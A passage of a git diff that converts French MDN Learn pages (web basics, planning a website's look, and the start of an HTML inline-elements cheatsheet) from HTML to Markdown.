développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) des navigateurs modernes qui permettent de déboguer votre code. +- [Des outils de test](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) pouvant être utilisés afin de vérifier si votre code se comporte comme vous l'aviez prévu. +- Des bibliothèques et des cadres de travail (frameworks) basés sur JavaScript qui permettent de créer certains types de sites web beaucoup plus rapidement et efficacement . +- Ce qu'on appelle les "Linters", des outils d'analyse qui prennent une liste de règles, parcourent votre code et listent les endroits où vous n'avez pas parfaitement suivi les règles. +- Des minificateurs, qui retirent tous les blancs de vos fichiers de code pour les rendre plus compacts et donc plus rapides à télécharger. -<p>Il existe une autre catégorie de langages appelés langages "back-end" (ou « côté serveur »), qui s'exécutent sur le serveur avant que le résultat ne soit envoyé au navigateur pour être affiché. Une utilisation typique d'un langage côté serveur consiste à extraire des données d'une base de données et à générer du HTML pour les contenir avant d'envoyer le résultat au navigateur pour que celui-ci l'affiche à l'utilisateur.</p> +### Langages et frameworks « côté serveur » -<p>On peut citer comme exemples ASP.NET, Python, PHP, ou NodeJS.</p> +HTML, CSS et JavaScript sont des langages "front-end" (ou « côté client »), ce qui signifie qu'ils sont exécutés par le navigateur pour produire un rendu visuel du site web à destination des utilisateurs. -<h2 id="Les_bonnes_pratiques_du_web">Les bonnes pratiques du web</h2> +Il existe une autre catégorie de langages appelés langages "back-end" (ou « côté serveur »), qui s'exécutent sur le serveur avant que le résultat ne soit envoyé au navigateur pour être affiché. Une utilisation typique d'un langage côté serveur consiste à extraire des données d'une base de données et à générer du HTML pour les contenir avant d'envoyer le résultat au navigateur pour que celui-ci l'affiche à l'utilisateur. -<p>Nous avons rapidement évoqué les technologies utilisées pour créer des sites web et nous allons désormais parler des bonnes pratiques à employer pour s'assurer que vous utilisez ces outils de la meilleure manière possible.</p> +On peut citer comme exemples ASP.NET, Python, PHP, ou NodeJS. -<p>Lorsque l'on réalise du développement web, la principale cause d'incertitude provient du fait que l'on ne sache pas quelle combinaison de technologies va être utilisée par chacun des utilisateurs du site web:</p> +## Les bonnes pratiques du web -<ul> - <li>L'utilisateur 1 peut utiliser un iPhone avec un écran petit et étroit.</li> - <li>L'utilisateur 2 peut se servir d'un ordinateur portable Windows avec un grand écran secondaire.</li> - <li>L'utilisateur 3 peut être aveugle et utiliser un lecteur d'écran pour accéder au contenu de la page web.</li> - <li>L'utilisateur 4 utilise peut-être un très vieil ordinateur de bureau incapable de faire fonctionner les navigateurs modernes.</li> -</ul> +Nous avons rapidement évoqué les technologies utilisées pour créer des sites web et nous allons désormais parler des bonnes pratiques à employer pour s'assurer que vous utilisez ces outils de la meilleure manière possible. -<p>Ne sachant pas comment vos utilisateurs vont interagir avec votre site, vous devez le concevoir de manière défensive — rendre votre site web aussi flexible que possible, de façon à ce que chacun des utilisateurs mentionnés puissent y accéder, même s'ils n'auront pas la même interaction. En bref, nous essayons de rendre le web accessible à tous, autant que possible.</p> +Lorsque l'on réalise du développement web, la principale cause d'incertitude provient du fait que l'on ne sache pas quelle combinaison de technologies va être utilisée par chacun des utilisateurs du site web: -<p>Vous rencontrerez les concepts suivants à un moment donné de vos études.</p> +- L'utilisateur 1 peut utiliser un iPhone avec un écran petit et étroit. +- L'utilisateur 2 peut se servir d'un ordinateur portable Windows avec un grand écran secondaire. +- L'utilisateur 3 peut être aveugle et utiliser un lecteur d'écran pour accéder au contenu de la page web. +- L'utilisateur 4 utilise peut-être un très vieil ordinateur de bureau incapable de faire fonctionner les navigateurs modernes. -<ul> - <li><strong>La compatibilité entre navigateurs</strong> consiste à essayer de garantir que votre page Web fonctionne sur autant d'appareils que possible. Cela inclut l'utilisation de technologies prises en charge par tous les navigateurs, l'offre de meilleures expériences aux navigateurs qui peuvent les gérer (amélioration progressive) et/ ou l'adaptation du code afin de revenir à une expérience plus simple mais fonctionnelle dans les navigateurs plus anciens (dégradation gracieuse). Cela implique notamment de nombreux tests pour vérifier le bon fonctionnement dans chaque navigateur, puis un travail supplémentaire pour résoudre ces problèmes.</li> - <li><strong>La conception web réactive (responsive) </strong>consiste à rendre vos fonctionnalités et mises en page flexibles afin qu'elles puissent s'adapter automatiquement à différents navigateurs. Un exemple immédiat est un site Web qui est présenté d'une certaine manière dans un navigateur grand écran, mais qui s'affiche en une colonne unique plus compacte sur les navigateurs de téléphone mobile. Essayez d'ajuster la largeur de la fenêtre de votre navigateur maintenant pour voir ce qui se passe.</li> - <li><strong>La performance</strong> signifie que les sites Web doivent se charger le plus rapidement possible, mais aussi qu'ils doivent être intuitifs et faciles à utiliser afin que les utilisateurs ne soient pas frustrés et ne partent pas ailleurs.</li> - <li><strong>L'accessibilité</strong> consiste à rendre vos sites web utilisables par le plus grand nombre de catégories de personnes possible (Un concept lié est la notion de conception inclusive). Cela inclut les individus avec des déficiences visuelles, auditives, cognitives ou physiques. Cela va même au-delà des personnes handicapées — Qu'en est-il des jeunes et des personnes agées, des personnes de cultures différentes, utilisant des appareils mobiles, disposant d'une connection lente ou peu fiable ?</li> - <li><strong>L'internationalisation </strong>signifie rendre les sites Web utilisables par des personnes de cultures différentes, qui parlent des langues différentes de la vôtre. cela inclut des considérations techniques (telles que la modification de votre mise en page pour qu'elle fonctionne également pour les langues se lisant de droite à gauche, ou même verticalement), et les considérations sociales (comme l'utilisation d'un langage simple et non argotique afin que les personnes pour qui votre langue est leur deuxième ou troisième langue soient plus susceptibles de comprendre votre texte).</li> - <li><strong>Confidentialité et sécurité</strong>. Ces deux concepts sont liés mais différents. La confidentialité consiste à permettre aux gens de vaquer à leurs occupations en privé et à ne pas les espionner ni ne collecter plus de données que ce dont vous avez absolument besoin. La sécurité fait référence à la conception sécurisée de votre site Web afin d'empêcher des utilisateurs malveillants de voler les informations qu'il contient, et ce qu'elle vous appartiennent ou à vos utilisateurs.</li> -</ul> +Ne sachant pas comment vos utilisateurs vont interagir avec votre site, vous devez le concevoir de manière défensive — rendre votre site web aussi flexible que possible, de façon à ce que chacun des utilisateurs mentionnés puissent y accéder, même s'ils n'auront pas la même interaction. En bref, nous essayons de rendre le web accessible à tous, autant que possible. -<h2 id="Voir_aussi">Voir aussi</h2> +Vous rencontrerez les concepts suivants à un moment donné de vos études. -<ul> - <li><a href="https://fr.wikipedia.org/wiki/World_Wide_Web#Histoire">Histoire du World Wide Web</a></li> - <li><a href="/fr/docs/Learn/Common_questions/How_does_the_Internet_work">Le fonctionnement de l'Internet</a></li> -</ul> +- **La compatibilité entre navigateurs** consiste à essayer de garantir que votre page Web fonctionne sur autant d'appareils que possible. Cela inclut l'utilisation de technologies prises en charge par tous les navigateurs, l'offre de meilleures expériences aux navigateurs qui peuvent les gérer (amélioration progressive) et/ ou l'adaptation du code afin de revenir à une expérience plus simple mais fonctionnelle dans les navigateurs plus anciens (dégradation gracieuse). Cela implique notamment de nombreux tests pour vérifier le bon fonctionnement dans chaque navigateur, puis un travail supplémentaire pour résoudre ces problèmes. +- **La conception web réactive (responsive)** consiste à rendre vos fonctionnalités et mises en page flexibles afin qu'elles puissent s'adapter automatiquement à différents navigateurs. Un exemple immédiat est un site Web qui est présenté d'une certaine manière dans un navigateur grand écran, mais qui s'affiche en une colonne unique plus compacte sur les navigateurs de téléphone mobile. Essayez d'ajuster la largeur de la fenêtre de votre navigateur maintenant pour voir ce qui se passe. +- **La performance** signifie que les sites Web doivent se charger le plus rapidement possible, mais aussi qu'ils doivent être intuitifs et faciles à utiliser afin que les utilisateurs ne soient pas frustrés et ne partent pas ailleurs. +- **L'accessibilité** consiste à rendre vos sites web utilisables par le plus grand nombre de catégories de personnes possible (Un concept lié est la notion de conception inclusive). Cela inclut les individus avec des déficiences visuelles, auditives, cognitives ou physiques. Cela va même au-delà des personnes handicapées — Qu'en est-il des jeunes et des personnes agées, des personnes de cultures différentes, utilisant des appareils mobiles, disposant d'une connection lente ou peu fiable ? +- **L'internationalisation** signifie rendre les sites Web utilisables par des personnes de cultures différentes, qui parlent des langues différentes de la vôtre. cela inclut des considérations techniques (telles que la modification de votre mise en page pour qu'elle fonctionne également pour les langues se lisant de droite à gauche, ou même verticalement), et les considérations sociales (comme l'utilisation d'un langage simple et non argotique afin que les personnes pour qui votre langue est leur deuxième ou troisième langue soient plus susceptibles de comprendre votre texte). +- **Confidentialité et sécurité**. Ces deux concepts sont liés mais différents. La confidentialité consiste à permettre aux gens de vaquer à leurs occupations en privé et à ne pas les espionner ni ne collecter plus de données que ce dont vous avez absolument besoin. La sécurité fait référence à la conception sécurisée de votre site Web afin d'empêcher des utilisateurs malveillants de voler les informations qu'il contient, et ce qu'elle vous appartiennent ou à vos utilisateurs. + +## Voir aussi + +- [Histoire du World Wide Web](https://fr.wikipedia.org/wiki/World_Wide_Web#Histoire) +- [Le fonctionnement de l'Internet](/fr/docs/Learn/Common_questions/How_does_the_Internet_work) diff --git a/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md index 06c8f03c49..fb54d0a57e 100644 --- a/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md +++ b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md @@ -11,99 +11,85 @@ tags: translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like original_slug: Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base","Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base","Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}} -<p><em>Quel sera l'aspect de votre site web ?</em> parle de planifier et concevoir (<em>design</em>), travaux à faire <em>avant</em> d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ».</p> +_Quel sera l'aspect de votre site web ?_ parle de planifier et concevoir (_design_), travaux à faire _avant_ d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ». -<h2 id="Commençons_par_le_commencement_planification">Commençons par le commencement : planification</h2> +## Commençons par le commencement : planification -<p>Avant de faire quoi que ce soit, vous avez besoin d'idées. Qu'est-ce que votre site web doit-il réellement faire ? Un site web peut pratiquement faire tout ce que vous voulez, mais pour un premier essai, vous devez garder les choses simples. Nous allons commencer par créer une simple page web avec un en-tête, une image et quelques paragraphes.</p> +Avant de faire quoi que ce soit, vous avez besoin d'idées. Qu'est-ce que votre site web doit-il réellement faire ? Un site web peut pratiquement faire tout ce que vous voulez, mais pour un premier essai, vous devez garder les choses simples. Nous allons commencer par créer une simple page web avec un en-tête, une image et quelques paragraphes. -<p>Pour commencer, posez-vous ces questions :</p> +Pour commencer, posez-vous ces questions : -<ol> - <li><strong>De quoi va parler mon site web ? </strong>Aimez-vous les chiens, New York ou Pacman ?</li> - <li><strong>Quelles informations vais-je présenter sur le sujet ? </strong>Écrivez un titre et quelques paragraphes, et trouvez une image que vous aimeriez mettre sur votre page.</li> - <li><strong>Quelle sera l'apparence de mon site web, </strong>en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ?</li> -</ol> +1. **De quoi va parler mon site web ?** Aimez-vous les chiens, New York ou Pacman ? +2. **Quelles informations vais-je présenter sur le sujet ?** Écrivez un titre et quelques paragraphes, et trouvez une image que vous aimeriez mettre sur votre page. +3. **Quelle sera l'apparence de mon site web,** en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ? -<div class="note"> -<p><strong>Note :</strong> Les projets complexes nécessitent des lignes directrices (guidelines) détaillées précisant tout : couleurs, polices, espacement entre éléments de la page, style d'écriture adapté, etc. Ceci est parfois appelé un guide de conception ou une charte graphique, vous pouvez en voir un exemple dans <a href="https://www.mozilla.org/fr/styleguide/products/firefox-os/">Firefox OS Guidelines</a>.</p> -</div> +> **Note :** Les projets complexes nécessitent des lignes directrices (guidelines) détaillées précisant tout : couleurs, polices, espacement entre éléments de la page, style d'écriture adapté, etc. Ceci est parfois appelé un guide de conception ou une charte graphique, vous pouvez en voir un exemple dans [Firefox OS Guidelines](https://www.mozilla.org/fr/styleguide/products/firefox-os/). -<h2 id="Esquisse_de_votre_concept">Esquisse de votre concept</h2> +## Esquisse de votre concept -<p>Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh !</p> +Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh ! -<p><img alt="" src="website-drawing-scan.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Même sur les sites web réels et complexes, l'équipe de conception commence par faire des esquisses sur papier, puis des maquettes numériques en utilisant un éditeur graphique ou des techniques Web.</p> +> **Note :** Même sur les sites web réels et complexes, l'équipe de conception commence par faire des esquisses sur papier, puis des maquettes numériques en utilisant un éditeur graphique ou des techniques Web. +> +> Les équipes Web intègrent souvent un concepteur graphique et {{Glossary("UX", "user-experience")}} (UX). Les concepteurs graphiques, bien sûr, regroupent les visuels du site web. Les concepteurs UX ont un rôle un peu plus abstrait qui consiste à s'occuper de la manière dont les utilisateurs découvriront et interagiront avec le site web. -<p>Les équipes Web intègrent souvent un concepteur graphique et {{Glossary("UX", "user-experience")}} (UX). Les concepteurs graphiques, bien sûr, regroupent les visuels du site web. Les concepteurs UX ont un rôle un peu plus abstrait qui consiste à s'occuper de la manière dont les utilisateurs découvriront et interagiront avec le site web.</p> -</div> +## Choix de vos ressources -<h2 id="Choix_de_vos_ressources">Choix de vos ressources</h2> +À ce stade, il est bon de commencer à regrouper les contenus qui apparaitront peut-être sur votre page web. -<p>À ce stade, il est bon de commencer à regrouper les contenus qui apparaitront peut-être sur votre page web.</p> +### Texte -<h3 id="Texte">Texte</h3> +Vous devriez encore avoir vos paragraphes et votre titre puisque vous y avez songé un peu plus tôt. Gardez-les à proximité. -<p>Vous devriez encore avoir vos paragraphes et votre titre puisque vous y avez songé un peu plus tôt. Gardez-les à proximité.</p> +### Couleur du thème -<h3 id="Couleur_du_thème">Couleur du thème</h3> +Pour choisir une couleur, utilisez une [palette de couleurs](http://www.code-couleur.com/index.html) et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme `#660066`. Ceci est appelé un _code hexadécimal_ et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant. -<p>Pour choisir une couleur, utilisez une <a href="http://www.code-couleur.com/index.html">palette de couleurs</a> et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme <code>#660066</code>. Ceci est appelé un <em>code hexadécimal</em> et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant.</p> + -<p><img alt="" src="Screenshot%20from%202014-11-03%2017:40:49.png"></p> +### Images -<h3 id="Images">Images</h3> +Pour choisir une image, allez sur [Google Images](https://www.google.com/imghp?gws_rd=ssl) et cherchez une image qui convient. -<p>Pour choisir une image, allez sur <a href="https://www.google.com/imghp?gws_rd=ssl">Google Images</a> et cherchez une image qui convient.</p> +1. Quand vous avez trouvé l'image que vous voulez, cliquez sur l'image. +2. Appuyez sur le bouton _Afficher l'image_. +3. Sur la page suivante, faites un clic-droit sur l'image (Ctrl + clic sur Mac), choisissez _Enregistrer l'image sous…_ et choisissez un endroit sûr pour enregistrer l'image. Ou bien, copiez l'adresse web de l'image depuis la barre d'adresse de votre navigateur pour une utilisation ultérieure. -<ol> - <li>Quand vous avez trouvé l'image que vous voulez, cliquez sur l'image.</li> - <li>Appuyez sur le bouton<em> Afficher l'image</em>.</li> - <li>Sur la page suivante, faites un clic-droit sur l'image (Ctrl + clic sur Mac), choisissez <em>Enregistrer l'image sous…</em> et choisissez un endroit sûr pour enregistrer l'image. Ou bien, copiez l'adresse web de l'image depuis la barre d'adresse de votre navigateur pour une utilisation ultérieure.</li> -</ol> + -<p><img alt="" src="Screenshot%20from%202014-11-04%2015:09:21.png"></p> + -<p><img alt="" src="Screenshot%20from%202014-11-04%2015:20:48.png"></p> +> **Note :** La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur **Outils de recherche**, puis 2) **Droits d'usage** : +> +>  -<div class="note"> -<p><strong>Note :</strong> La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur <strong>Outils de recherche</strong>, puis 2)<strong> Droits d'usage</strong> :</p> +### Police de caractères -<p><img alt="" src="Screenshot%20from%202014-11-04%2014:27:45.png"></p> -</div> +Pour choisir une police : -<h3 id="Police_de_caractères">Police de caractères</h3> +1. Allez sur [Google Fonts](http://www.google.com/fonts) et faites défiler la page jusqu'à en trouver une que vous aimez. Vous pouvez aussi utiliser les contrôles sur la gauche pour filtrer plus précisément les résultats. +2. Cliquez sur l'icône _« + »_ (_ajouter_) à côté de la police que vous voulez. +3. Cliquez sur le bouton « \* Family Selected » dans le panneau en bas de la page (« \* » dépend du nombre de polices sélectionnées). +4. Sur la fenêtre contextuelle suivante, vous pouvez copier les lignes de code que Google vous donne dans votre éditeur de texte pour les garder pour plus tard. -<p>Pour choisir une police :</p> + -<ol> - <li>Allez sur <a href="http://www.google.com/fonts">Google Fonts</a> et faites défiler la page jusqu'à en trouver une que vous aimez. Vous pouvez aussi utiliser les contrôles sur la gauche pour filtrer plus précisément les résultats.</li> - <li>Cliquez sur l'icône<em> « + »</em> (<em>ajouter</em>) à côté de la police que vous voulez.</li> - <li>Cliquez sur le bouton « * Family Selected » dans le panneau en bas de la page (« * » dépend du nombre de polices sélectionnées).</li> - <li>Sur la fenêtre contextuelle suivante, vous pouvez copier les lignes de code que Google vous donne dans votre éditeur de texte pour les garder pour plus tard.</li> -</ol> + -<p><img alt="" src="font1.png"></p> +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base", "Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}} -<p><img alt="" src="font2.png"></p> +## Dans ce module -<p>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base", "Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/html/cheatsheet/index.md b/files/fr/learn/html/cheatsheet/index.md index f9fcdc2434..7ae8e52e78 100644 --- a/files/fr/learn/html/cheatsheet/index.md +++ b/files/fr/learn/html/cheatsheet/index.md @@ -9,276 +9,348 @@ tags: translation_of: Learn/HTML/Cheatsheet original_slug: Apprendre/HTML/Cheatsheet --- -<div>{{draft}}</div> +{{draft}} -<p>Lorsqu'on utilise {{Glossary("HTML")}}, une antisèche, une page rapide et récapitulative (<em>cheatsheet</em>) peut s'avérer plutôt pratique pour se souvenir rapidement de quelle balise HTML utiliser dans quel cas. MDN possède également une <a href="/fr/docs/Web/HTML/Element">documentation HTML exhaustive</a> ainsi que différents <a href="/fr/Apprendre/HTML/Comment">tutoriels HTML détaillés</a>. Toutefois, dans la plupart des cas, il suffit juste d'une rapide vérification afin de pouvoir continuer. Cet article, sous la forme d'une antisèche synthétique, est là pour fournir des exemples de codes concis pour les usages les plus fréquents des éléments les plus utilisés.</p> +Lorsqu'on utilise {{Glossary("HTML")}}, une antisèche, une page rapide et récapitulative (_cheatsheet_) peut s'avérer plutôt pratique pour se souvenir rapidement de quelle balise HTML utiliser dans quel cas. MDN possède également une [documentation HTML exhaustive](/fr/docs/Web/HTML/Element) ainsi que différents [tutoriels HTML détaillés](/fr/Apprendre/HTML/Comment). Toutefois, dans la plupart des cas, il suffit juste d'une rapide vérification afin de pouvoir continuer. Cet article, sous la forme d'une antisèche synthétique, est là pour fournir des exemples de codes concis pour les usages les plus fréquents des éléments les plus utilisés. -<div class="note"> -<p><strong>Note :</strong> Les balises HTML doivent en premier lieu être utilisées pour leur sémantique et non pour leur apparence. Il est toujours possible de modifier la mise en forme d'une balise donnée grâce à {{Glossary("CSS")}}. Aussi, quand vous utilisez HTML, soyez concentré-e sur la signification plutôt que sur l'apparence finale.</p> -</div> +> **Note :** Les balises HTML doivent en premier lieu être utilisées pour leur sémantique et non pour leur apparence. Il est toujours possible de modifier la mise en forme d'une balise donnée grâce à {{Glossary("CSS")}}. Aussi, quand vous utilisez HTML, soyez concentré-e sur la signification plutôt que sur l'apparence finale. -<h2>Éléments en ligne</h2> +## Éléments en ligne -<p>Un élément est une partie d'une page web. Certains éléments sont agissent comme des conteneurs : ils sont grands et contiennent de plus petits éléments. Certains éléments sont plus petits et sont imbriqués dans des éléments plus grands. Par défaut les éléments « en ligne » apparaissent les uns à côté des autres sur une page web. Ils prennent autant de largeur que nécessaire sur une page et s'organisent horizontalement à la façon des mots dans une phrase ou des livres dans une bibliothèque. Tous les éléments en ligne peuvent être placés à l'intérieur de l'élément <code><body></code>.</p> +Un élément est une partie d'une page web. Certains éléments sont agissent comme des conteneurs : ils sont grands et contiennent de plus petits éléments. Certains éléments sont plus petits et sont imbriqués dans des éléments plus grands. Par défaut les éléments « en ligne » apparaissent les uns à côté des autres sur une page web. Ils prennent autant de largeur que nécessaire sur une page et s'organisent horizontalement à la façon des mots dans une phrase ou des livres dans une bibliothèque. Tous les éléments en ligne peuvent être placés à l'intérieur de l'élément `<body>`. <table class="standard-table"> - <thead> - <tr> - <th scope="col">Usage</th> - <th scope="col">Élément</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td>Un lien</td> - <td>{{HTMLElement("a")}}</td> - <td id="a-example"><pre class="brush: html"><a href="https://example.org"> -Un lien vers example.org</a>.</pre> - {{EmbedLiveSample("a-example", 100, 60)}}</td> - </tr> - <tr> - <td>Une image</td> - <td>{{HTMLElement("img")}}</td> - <td id="img-example"><pre class="brush: html"><img src="beast.png" width="25" /></pre> - {{EmbedLiveSample("img-example", 100, 60)}}</td> - </tr> - <tr> - <td>Un conteneur en ligne</td> - <td>{{HTMLElement("span")}}</td> - <td id="span-example"><pre class="brush: html">Utilisé pour grouper des éléments, par exemple pour <span style="color:blue">les mettre en forme</span>.</pre> - {{EmbedLiveSample("span-example", 100, 60)}}</td> - </tr> - <tr> - <td>Emphase du texte</td> - <td>{{HTMLElement("em")}}</td> - <td id="em-example"><pre class="brush: html"><em>La classe non ?</em>.</pre> - {{EmbedLiveSample("em-example", 100, 60)}}</td> - </tr> - <tr> - <td>Texte idiomatique</td> - <td>{{HTMLElement("i")}}</td> - <td id="i-example"><pre class="brush: html"> -Marque la phrase <i>généralement en italique</i>.</pre> - {{EmbedLiveSample("i-example", 100, 60)}}</td> - </tr> - <tr> - <td>Texte d'attention</td> - <td>{{HTMLElement("b")}}</td> - <td id="b-example"><pre class="brush: html"> -Met en avant un <b>mot ou une phrase d'une certaine importance</b>.</pre> - {{EmbedLiveSample("b-example", 100, 60)}}</td> - </tr> - <tr> - <td>Texte d'importance</td> - <td>{{HTMLElement("strong")}}</td> - <td id="strong-example"><pre class="brush: html"><strong>Ce contenu est important !</strong></pre> - {{EmbedLiveSample("strong-example", 100, 60)}}</td> - </tr> - <tr> - <td>Marquer du texte</td> - <td>{{HTMLElement("mark")}}</td> - <td id="mark-example"><pre class="brush: html"><mark>Vous me voyez ?</mark></pre> - {{EmbedLiveSample("mark-example", 100, 60)}}</td> - </tr> - <tr> - <td>Texte barré</td> - <td>{{HTMLElement("s")}}</td> - <td id="s-example"><pre class="brush: html"><s>Je ne suis plus pertinent.</s></pre> - {{EmbedLiveSample("s-example", 100, 60)}}</td> - </tr> - <tr> - <td>Mise en indice</td> - <td>{{HTMLElement("sub")}}</td> - <td id="sub-example"><pre class="brush: html">H<sub>2</sub>O</pre> - {{EmbedLiveSample("sub-example", 100, 60)}}</td> - </tr> - <tr> - <td>Texte de commentaire</td> - <td>{{HTMLElement("small")}}</td> - <td id="small-example"><pre class="brush: html"> -Utilisé pour représenter <small>les petites -notes </small> d'un document.</pre> -{{EmbedLiveSample("small-example", 100, 60)}}</td> - </tr> - <tr> - <td>Adresse</td> - <td>{{HTMLElement("address")}}</td> - <td id="address-example"><pre class="brush: html"><address>15 Rue du Bourg</address></pre> -{{EmbedLiveSample("address-example", 100, 60)}}</td> - </tr> - <tr> - <td>Citation textuelle</td> - <td>{{HTMLElement("cite")}}</td> - <td id="cite-example"><pre class="brush: html">Pour plus d'informations sur les monstres, -voir <cite>Le monstrueux livre des monstres</cite>.</pre> - {{EmbedLiveSample("cite-example", 100, 60)}}</td> - </tr> - <tr> - <td>Mise en exposant</td> - <td>{{HTMLElement("sup")}}</td> - <td id="sup-example"><pre class="brush: html">x<sup>2</sup></pre> - {{EmbedLiveSample("sup-example", 100, 60)}}</td> - </tr> - <tr> - <td>Citation en ligne</td> - <td>{{HTMLElement("q")}}</td> - <td id="q-example"><pre class="brush: html"> -<q>Toi aussi mon fils ?</q>, a-t-il dit.</pre> -{{EmbedLiveSample("q-example", 100, 60)}}</td> - </tr> - <tr> - <td>Un saut de ligne</td> - <td>{{HTMLElement("br")}}</td> - <td id="br-example"><pre class="brush: html">Ligne 1<br>Ligne 2</pre> -{{EmbedLiveSample("br-example", 100, 80)}}</td> - </tr> - <tr> - <td>Un saut de ligne possible</td> - <td>{{HTMLElement("wbr")}}</td> - <td id="wbr-example"><pre class="brush: html"> -<div style="width: 200px"> - Llanfair<wbr>pwllgwyngyllgogerychwyrngogogoch. -</div></pre> -{{EmbedLiveSample("wbr-example", 100, 80)}}</td> - </tr> - <tr> - <td>Date</td> - <td>{{HTMLElement("time")}}</td> - <td id="time-example"><pre class="brush: html"> + <thead> + <tr> + <th scope="col">Usage</th> + <th scope="col">Élément</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <td>Un lien</td> + <td>{{HTMLElement("a")}}</td> + <td id="a-example"> + <pre class="brush: html"> +<a href="https://example.org"> +Un lien vers example.org</a>.</pre + > + {{EmbedLiveSample("a-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Une image</td> + <td>{{HTMLElement("img")}}</td> + <td id="img-example"> + <pre class="brush: html"><img src="beast.png" width="25" /></pre> + {{EmbedLiveSample("img-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Un conteneur en ligne</td> + <td>{{HTMLElement("span")}}</td> + <td id="span-example"> + <pre class="brush: html"> +Utilisé pour grouper des éléments, par exemple pour <span style="color:blue">les mettre en forme</span>.</pre + > + {{EmbedLiveSample("span-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Emphase du texte</td> + <td>{{HTMLElement("em")}}</td> + <td id="em-example"> + <pre class="brush: html"><em>La classe non ?</em>.</pre> + {{EmbedLiveSample("em-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Texte idiomatique</td> + <td>{{HTMLElement("i")}}</td> + <td id="i-example"> + <pre class="brush: html"> +Marque la phrase <i>généralement en italique</i>.</pre + > + {{EmbedLiveSample("i-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Texte d'attention</td> + <td>{{HTMLElement("b")}}</td> + <td id="b-example"> + <pre class="brush: html"> +Met en avant un <b>mot ou une phrase d'une certaine importance</b>.</pre + > + 